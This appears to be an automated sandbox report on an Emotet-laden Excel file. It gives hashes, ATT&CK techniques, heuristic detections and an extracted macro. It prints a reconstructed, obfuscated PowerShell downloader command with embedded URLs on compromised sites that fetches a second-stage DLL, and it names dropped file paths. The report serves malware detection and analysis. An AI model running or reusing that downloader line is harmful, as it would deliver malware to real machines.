Emotet Office (OLE) / .XLSX malware analysis — malicious · fc4646c6855c7f5b

MALICIOUS

Office (OLE) / .XLSX

88.5 KB Created: 2022-02-14 05:58:53 Authoring application: Microsoft Excel First seen: 2022-02-22

MD5: 67eae51abd84ac47737c2970705dad0b SHA-1: a44262757e5407c00b4ace4ce1ee563259cb7992 SHA-256: fc4646c6855c7f5bb356da469fb0488b584036123b62e54a45cfeff0fd17cd3f

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The file contains VBA macros, including a Workbook_Open auto-execution routine, which is a common delivery mechanism for Emotet. The script attempts to reconstruct and execute a PowerShell command that downloads a DLL from a constructed URL. The reconstructed PowerShell command is: powershell -w hidden -nop -c "$MJXdfshDrfGZses4=\"http:http://www.ama.com/wp-admin/js/92ZVqHH8/http:my.microsoft.org/zadj-GBGJeFxXWlNbABv2/http:act.lances.com/wp-admin/0JAEdhjbouhtuiwps:ed-media.cn/wp-admin/0JAEdhjbouhtuiwps:academygroup.cldhjofuiwficedhjG42LJPLkldhjbouhuiwtuiwps:znzhuiwou.tuiwopdhjmuiwodedhj0Qbdhj\" -suiwPLuiwIt \"bou\"". This indicates the malware's intent to download and execute a second-stage payload. The presence of 'c:\programdata\bbiwjdf.vbs' and 'c:\programdata\oiphilfj.dll' further supports this.

Heuristics 7

ClamAV: Doc.Downloader.Emotet02220-9940037-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet02220-9940037-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `98ce64e756a4ee3d4f776c1541f7f3ad0f966d786db88eda74f9a833f3a74b83`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11705 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.